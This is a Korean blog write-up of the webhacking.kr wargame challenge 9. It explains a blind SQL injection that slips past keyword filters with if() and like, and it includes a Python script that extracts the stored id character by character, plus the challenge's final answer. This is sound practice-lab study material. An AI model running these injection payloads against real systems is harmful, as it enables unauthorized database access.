본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 9번

메인화면

 

1번

 

2번

 

3번

no=3의 id값이 password라고 함

쿼리문은 아마 no의 값으로 id를 꺼내오는 단순한 구조인거같음

select id from 테이블 where no=1

이런구조?

 

no의 값에서 injection을 해야하는 것 같은데 필터링된게 엄청 많음

=, <, >, ||, &&, or, and, /**/, 공백, char, hex, select, left, ', ", # 더 있는거같다

 

그래도 필터링을 우회하여 injection이 먹히긴 함

공백은 괄호를 적당히 사용하면 될거같음

 

 

no=0

0은 없는 것 같으니 이걸로 씀

 

no=if(length(id)like(5),1,0)

id의 길이가 5이면 no=1이되고 

아니라면 0번페이지를 호출할 거임

 

근데 하다보니 신기한 거였는데

if문의 참일 경우 반환되는 값에 따라

id가 no=1의 id인지

no=2의 id인지에 따라 바뀜

무슨 말이냐면

no=if(length(id)like(5),1,0)

이때는 no=1의 id

즉 apple이니까 5글자가 맞음 근데

no=if(length(id)like(5),2,0)

이렇게 하면 거짓 페이지로감

no=2의 id는 banana니까

no=if(length(id)like(6),2,0)

이렇게 하면

 

참인 no=2페이지가 나옴

그래서 no=3의 id값을 구하려면

no=if(length(id)like(5),3,0)

이렇게 해야 id값이 no=3의 id가 되는 거임

 

no=3의 id는 11글자

 

import time
import requests

url = "https://webhacking.kr/challenge/web-09/index.php"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = "0x"
realpw = ""
for i in range(1,12):
    for j in range(43,127):
        req=session.get(url+"?no=if(substr(id,"+str(i)+",1)like(0x"+format(j,'x')+"),3,0)",cookies=cookie)
        if("Secret" in req.text):
            password += format(j,'x')
            realpw += chr(j)
            print(chr(j)+"is Correct!!!")
            break
        print(chr(j))
    print(realpw)
print(realpw)

ALSRKSWHAQL

 

근데 소문자로 해야함

 

 

클리어

한글로 입력하면

민간좀비

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 52번  (2) 2020.01.18
Webhacking.kr 13번  (1) 2020.01.07
Webhacking.kr 57번  (0) 2020.01.03
Webhacking.kr 45번  (0) 2020.01.03
Webhacking.kr 40번  (0) 2020.01.03